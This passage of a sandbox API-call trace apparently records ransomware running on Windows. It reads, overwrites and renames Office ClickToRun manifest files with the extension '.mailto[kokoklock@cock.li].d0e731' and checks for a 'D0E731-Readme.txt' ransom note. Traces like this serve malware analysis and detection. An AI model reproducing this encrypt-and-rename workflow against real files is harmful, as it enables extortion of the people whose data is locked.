[0073.558] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ec58 [0073.558] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ebb8 [0073.558] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eb40 [0073.558] NtQuerySystemTime (in: CurrentTime=0x1793fa88 | out: CurrentTime=0x1793fa88*=132121176314565753) returned 0x0 [0073.558] RtlRandom (in: Seed=0x1793fa94 | out: Seed=0x1793fa94) returned 0x2340d51b [0073.559] RtlRandom (in: Seed=0x1793fa94 | out: Seed=0x1793fa94) returned 0x6fb819ec [0073.559] RtlRandom (in: Seed=0x1793fa94 | out: Seed=0x1793fa94) returned 0x9ac061ee [0073.559] RtlRandom (in: Seed=0x1793fa94 | out: Seed=0x1793fa94) returned 0x57217e30 [0073.559] RtlRandom (in: Seed=0x1793fa94 | out: Seed=0x1793fa94) returned 0xa1f04ce8 [0073.559] RtlRandom (in: Seed=0x1793fa94 | out: Seed=0x1793fa94) returned 0x28831aea [0073.559] RtlRandom (in: Seed=0x1793fa94 | out: Seed=0x1793fa94) returned 0xda5e5c7d [0073.559] RtlRandom (in: Seed=0x1793fa94 | out: Seed=0x1793fa94) returned 0x77483b7 [0073.559] RtlRandom (in: Seed=0x1793fa94 | out: Seed=0x1793fa94) returned 0x28e03815 [0073.559] RtlRandom (in: Seed=0x1793fa94 | out: Seed=0x1793fa94) returned 0xb3cc1632 [0073.559] RtlRandom (in: Seed=0x1793fa94 | out: Seed=0x1793fa94) returned 0x840035e [0073.559] RtlRandom (in: Seed=0x1793fa94 | out: Seed=0x1793fa94) returned 0xee53c088 [0073.559] RtlRandom (in: Seed=0x1793fa94 | out: Seed=0x1793fa94) returned 0x971f71bb [0073.559] RtlRandom (in: Seed=0x1793fa94 | out: Seed=0x1793fa94) returned 0x4cf39857 [0073.559] RtlRandom (in: Seed=0x1793fa94 | out: Seed=0x1793fa94) returned 0x8789cf56 [0073.559] RtlRandom (in: Seed=0x1793fa94 | out: Seed=0x1793fa94) returned 0x8ac9a1de [0073.559] RtlRandom (in: Seed=0x1793fa94 | out: Seed=0x1793fa94) returned 0x10e75dc7 [0073.559] RtlRandom (in: Seed=0x1793fa94 | out: Seed=0x1793fa94) returned 0xaa506a0 [0073.559] RtlRandom (in: Seed=0x1793fa94 | out: Seed=0x1793fa94) returned 0x78d23b38 [0073.559] RtlRandom (in: Seed=0x1793fa94 | out: Seed=0x1793fa94) returned 0x15efbcfd [0073.559] RtlRandom (in: Seed=0x1793fa94 | out: Seed=0x1793fa94) returned 0x706c4a31 [0073.559] RtlRandom (in: Seed=0x1793fa94 | out: Seed=0x1793fa94) returned 0xe8356870 [0073.559] RtlRandom (in: Seed=0x1793fa94 | out: Seed=0x1793fa94) returned 0x7b5594eb [0073.559] RtlRandom (in: Seed=0x1793fa94 | out: Seed=0x1793fa94) returned 0xba672a22 [0073.559] RtlRandom (in: Seed=0x1793fa94 | out: Seed=0x1793fa94) returned 0x89031471 [0073.559] RtlRandom (in: Seed=0x1793fa94 | out: Seed=0x1793fa94) returned 0xa485ad91 [0073.559] RtlRandom (in: Seed=0x1793fa94 | out: Seed=0x1793fa94) returned 0xbafadfb1 [0073.559] RtlRandom (in: Seed=0x1793fa94 | out: Seed=0x1793fa94) returned 0xa5164ff9 [0073.559] RtlRandom (in: Seed=0x1793fa94 | out: Seed=0x1793fa94) returned 0xdeb80bad [0073.559] RtlRandom (in: Seed=0x1793fa94 | out: Seed=0x1793fa94) returned 0x8175d48f [0073.559] RtlRandom (in: Seed=0x1793fa94 | out: Seed=0x1793fa94) returned 0x41ee26ba [0073.559] RtlRandom (in: Seed=0x1793fa94 | out: Seed=0x1793fa94) returned 0x2c5f1d90 [0073.570] ReadFile (in: hFile=0x924, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x3f14, lpNumberOfBytesRead=0x1793fa88, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x1793fa88*=0x3f14, lpOverlapped=0x0) returned 1 [0073.576] SetFilePointerEx (in: hFile=0x924, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1793fa50 | out: lpNewFilePointer=0x0) returned 1 [0073.576] WriteFile (in: hFile=0x924, lpBuffer=0x34862b8*, nNumberOfBytesToWrite=0x3f14, lpNumberOfBytesWritten=0x1793fa84, lpOverlapped=0x0 | out: lpBuffer=0x34862b8*, lpNumberOfBytesWritten=0x1793fa84*=0x3f14, lpOverlapped=0x0) returned 1 [0073.577] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ec58 [0073.577] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eb90 [0073.577] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eb90) returned 1 [0073.577] WriteFile (in: hFile=0x924, lpBuffer=0x341ec58*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1793fa80, lpOverlapped=0x0 | out: lpBuffer=0x341ec58*, lpNumberOfBytesWritten=0x1793fa80*=0x20, lpOverlapped=0x0) returned 1 [0073.577] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ec58) returned 1 [0073.577] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34862b8) returned 1 [0073.577] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0073.577] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0073.577] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fdb38) returned 1 [0073.577] WriteFile (in: hFile=0x924, lpBuffer=0x341eb68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1793faac, lpOverlapped=0x0 | out: lpBuffer=0x341eb68*, lpNumberOfBytesWritten=0x1793faac*=0x8, lpOverlapped=0x0) returned 1 [0073.577] WriteFile (in: hFile=0x924, lpBuffer=0x1793fac4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1793faac, lpOverlapped=0x0 | out: lpBuffer=0x1793fac4*, lpNumberOfBytesWritten=0x1793faac*=0x4, lpOverlapped=0x0) returned 1 [0073.577] WriteFile (in: hFile=0x924, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1793faac, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1793faac*=0x4, lpOverlapped=0x0) returned 1 [0073.577] WriteFile (in: hFile=0x924, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1793faac, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1793faac*=0x6c, lpOverlapped=0x0) returned 1 [0073.577] WriteFile (in: hFile=0x924, lpBuffer=0x341ebb8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1793faac, lpOverlapped=0x0 | out: lpBuffer=0x341ebb8*, lpNumberOfBytesWritten=0x1793faac*=0x20, lpOverlapped=0x0) returned 1 [0073.578] WriteFile (in: hFile=0x924, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1793faac, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1793faac*=0x4, lpOverlapped=0x0) returned 1 [0073.578] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ebb8) returned 1 [0073.578] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eed8) returned 1 [0073.578] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eb68) returned 1 [0073.578] CloseHandle (hObject=0x924) returned 1 [0073.578] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x13a) returned 0x33e2008 [0073.578] wcscpy (in: _Dest=0x33e2008, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" [0073.578] wcscat (in: _Dest=0x33e2008, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" [0073.578] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcf.dcf.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0073.579] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0073.579] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e2008) returned 1 [0073.579] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 0 [0073.579] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3434828 [0073.579] wcscpy (in: _Dest=0x3434828, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0073.579] wcscat (in: _Dest=0x3434828, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0073.579] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0073.579] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434828) returned 1 [0073.579] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341a428) returned 1 [0073.579] RtlExitUserThread (Status=0x1) Thread: id = 600 os_tid = 0x131c [0073.580] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcfmui.msi.16.en-us.xml")) returned 0x20 [0073.580] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 1 [0073.580] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcfmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x924 [0073.581] GetFileSizeEx (in: hFile=0x924, lpFileSize=0x179bfae4 | out: lpFileSize=0x179bfae4*=9818) returned 1 [0073.581] SetFilePointerEx (in: hFile=0x924, liDistanceToMove=0x2656, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.581] ReadFile (in: hFile=0x924, lpBuffer=0x179bfab8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x179bfab4, lpOverlapped=0x0 | out: lpBuffer=0x179bfab8*, lpNumberOfBytesRead=0x179bfab4*=0x4, lpOverlapped=0x0) returned 1 [0073.585] SetFilePointerEx (in: hFile=0x924, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.585] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ec08 [0073.585] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ebb8 [0073.585] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eb18 [0073.585] NtQuerySystemTime (in: CurrentTime=0x179bfa90 | out: CurrentTime=0x179bfa90*=132121176314721729) returned 0x0 [0073.585] RtlRandom (in: Seed=0x179bfa9c | out: Seed=0x179bfa9c) returned 0x38244734 [0073.585] RtlRandom (in: Seed=0x179bfa9c | out: Seed=0x179bfa9c) returned 0x1d75c78e [0073.585] RtlRandom (in: Seed=0x179bfa9c | out: Seed=0x179bfa9c) returned 0x1dc2c02a [0073.585] RtlRandom (in: Seed=0x179bfa9c | out: Seed=0x179bfa9c) returned 0x7bef5e06 [0073.585] RtlRandom (in: Seed=0x179bfa9c | out: Seed=0x179bfa9c) returned 0xb6a93d23 [0073.585] RtlRandom (in: Seed=0x179bfa9c | out: Seed=0x179bfa9c) returned 0x5cf6bea5 [0073.585] RtlRandom (in: Seed=0x179bfa9c | out: Seed=0x179bfa9c) returned 0x8c430862 [0073.585] RtlRandom (in: Seed=0x179bfa9c | out: Seed=0x179bfa9c) returned 0x3e3ea3a7 [0073.585] RtlRandom (in: Seed=0x179bfa9c | out: Seed=0x179bfa9c) returned 0x9d42e4fb [0073.585] RtlRandom (in: Seed=0x179bfa9c | out: Seed=0x179bfa9c) returned 0x48333ded [0073.585] RtlRandom (in: Seed=0x179bfa9c | out: Seed=0x179bfa9c) returned 0x4abddb68 [0073.585] RtlRandom (in: Seed=0x179bfa9c | out: Seed=0x179bfa9c) returned 0xd9359 [0073.585] RtlRandom (in: Seed=0x179bfa9c | out: Seed=0x179bfa9c) returned 0xbd01c541 [0073.586] RtlRandom (in: Seed=0x179bfa9c | out: Seed=0x179bfa9c) returned 0x47b2d0b0 [0073.586] RtlRandom (in: Seed=0x179bfa9c | out: Seed=0x179bfa9c) returned 0x2560223a [0073.586] RtlRandom (in: Seed=0x179bfa9c | out: Seed=0x179bfa9c) returned 0x712e6b84 [0073.586] RtlRandom (in: Seed=0x179bfa9c | out: Seed=0x179bfa9c) returned 0xe6bf1d6 [0073.586] RtlRandom (in: Seed=0x179bfa9c | out: Seed=0x179bfa9c) returned 0xf6bfc3bb [0073.586] RtlRandom (in: Seed=0x179bfa9c | out: Seed=0x179bfa9c) returned 0x60562ca1 [0073.586] RtlRandom (in: Seed=0x179bfa9c | out: Seed=0x179bfa9c) returned 0xef9d98b2 [0073.586] RtlRandom (in: Seed=0x179bfa9c | out: Seed=0x179bfa9c) returned 0x8bcc9dc5 [0073.586] RtlRandom (in: Seed=0x179bfa9c | out: Seed=0x179bfa9c) returned 0xf6241dc1 [0073.586] RtlRandom (in: Seed=0x179bfa9c | out: Seed=0x179bfa9c) returned 0x3ab0c27a [0073.586] RtlRandom (in: Seed=0x179bfa9c | out: Seed=0x179bfa9c) returned 0x32c75aed [0073.586] RtlRandom (in: Seed=0x179bfa9c | out: Seed=0x179bfa9c) returned 0x833f90c [0073.586] RtlRandom (in: Seed=0x179bfa9c | out: Seed=0x179bfa9c) returned 0xfecbfce0 [0073.586] RtlRandom (in: Seed=0x179bfa9c | out: Seed=0x179bfa9c) returned 0x754da500 [0073.586] RtlRandom (in: Seed=0x179bfa9c | out: Seed=0x179bfa9c) returned 0xde2328b [0073.586] RtlRandom (in: Seed=0x179bfa9c | out: Seed=0x179bfa9c) returned 0x3c49fbe3 [0073.586] RtlRandom (in: Seed=0x179bfa9c | out: Seed=0x179bfa9c) returned 0xe13bb57c [0073.586] RtlRandom (in: Seed=0x179bfa9c | out: Seed=0x179bfa9c) returned 0x2ee901de [0073.586] RtlRandom (in: Seed=0x179bfa9c | out: Seed=0x179bfa9c) returned 0x43eaabe6 [0073.597] ReadFile (in: hFile=0x924, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x265a, lpNumberOfBytesRead=0x179bfa90, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x179bfa90*=0x265a, lpOverlapped=0x0) returned 1 [0073.611] SetFilePointerEx (in: hFile=0x924, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x179bfa58 | out: lpNewFilePointer=0x0) returned 1 [0073.611] WriteFile (in: hFile=0x924, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x265a, lpNumberOfBytesWritten=0x179bfa8c, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x179bfa8c*=0x265a, lpOverlapped=0x0) returned 1 [0073.611] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ec58 [0073.611] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eb90 [0073.611] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eb90) returned 1 [0073.611] WriteFile (in: hFile=0x924, lpBuffer=0x341ec58*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x179bfa88, lpOverlapped=0x0 | out: lpBuffer=0x341ec58*, lpNumberOfBytesWritten=0x179bfa88*=0x20, lpOverlapped=0x0) returned 1 [0073.611] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ec58) returned 1 [0073.611] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0073.611] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0073.611] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0073.611] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fdb38) returned 1 [0073.611] WriteFile (in: hFile=0x924, lpBuffer=0x341eb68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x179bfab4, lpOverlapped=0x0 | out: lpBuffer=0x341eb68*, lpNumberOfBytesWritten=0x179bfab4*=0x8, lpOverlapped=0x0) returned 1 [0073.611] WriteFile (in: hFile=0x924, lpBuffer=0x179bfacc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x179bfab4, lpOverlapped=0x0 | out: lpBuffer=0x179bfacc*, lpNumberOfBytesWritten=0x179bfab4*=0x4, lpOverlapped=0x0) returned 1 [0073.612] WriteFile (in: hFile=0x924, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x179bfab4, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x179bfab4*=0x4, lpOverlapped=0x0) returned 1 [0073.612] WriteFile (in: hFile=0x924, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x179bfab4, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x179bfab4*=0x6c, lpOverlapped=0x0) returned 1 [0073.612] WriteFile (in: hFile=0x924, lpBuffer=0x341ebb8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x179bfab4, lpOverlapped=0x0 | out: lpBuffer=0x341ebb8*, lpNumberOfBytesWritten=0x179bfab4*=0x20, lpOverlapped=0x0) returned 1 [0073.612] WriteFile (in: hFile=0x924, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x179bfab4, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x179bfab4*=0x4, lpOverlapped=0x0) returned 1 [0073.612] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ebb8) returned 1 [0073.612] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eed8) returned 1 [0073.612] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eb68) returned 1 [0073.612] CloseHandle (hObject=0x924) returned 1 [0073.612] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x128) returned 0x341da40 [0073.612] wcscpy (in: _Dest=0x341da40, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml" [0073.612] wcscat (in: _Dest=0x341da40, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" [0073.612] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcfmui.msi.16.en-us.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.dcfmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0073.613] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0073.613] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341da40) returned 1 [0073.613] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.dcfmui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 0 [0073.613] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3434828 [0073.613] wcscpy (in: _Dest=0x3434828, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0073.613] wcscat (in: _Dest=0x3434828, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0073.613] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0073.614] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434828) returned 1 [0073.614] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34207d8) returned 1 [0073.614] RtlExitUserThread (Status=0x1) Thread: id = 601 os_tid = 0x1320 [0073.582] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml")) returned 0x20 [0073.583] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 1 [0073.583] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.excel.excel.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x928 [0073.584] GetFileSizeEx (in: hFile=0x928, lpFileSize=0x17a3fa80 | out: lpFileSize=0x17a3fa80*=236956) returned 1 [0073.584] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x39d98, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.584] ReadFile (in: hFile=0x928, lpBuffer=0x17a3fa54, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x17a3fa50, lpOverlapped=0x0 | out: lpBuffer=0x17a3fa54*, lpNumberOfBytesRead=0x17a3fa50*=0x4, lpOverlapped=0x0) returned 1 [0073.597] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.597] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eb90 [0073.597] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ede8 [0073.597] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ecf8 [0073.598] NtQuerySystemTime (in: CurrentTime=0x17a3fa2c | out: CurrentTime=0x17a3fa2c*=132121176314877589) returned 0x0 [0073.598] RtlRandom (in: Seed=0x17a3fa38 | out: Seed=0x17a3fa38) returned 0x5138b987 [0073.598] RtlRandom (in: Seed=0x17a3fa38 | out: Seed=0x17a3fa38) returned 0xcd39d7cf [0073.598] RtlRandom (in: Seed=0x17a3fa38 | out: Seed=0x17a3fa38) returned 0x3e4138cd [0073.598] RtlRandom (in: Seed=0x17a3fa38 | out: Seed=0x17a3fa38) returned 0x6d343f38 [0073.598] RtlRandom (in: Seed=0x17a3fa38 | out: Seed=0x17a3fa38) returned 0xfa486f16 [0073.598] RtlRandom (in: Seed=0x17a3fa38 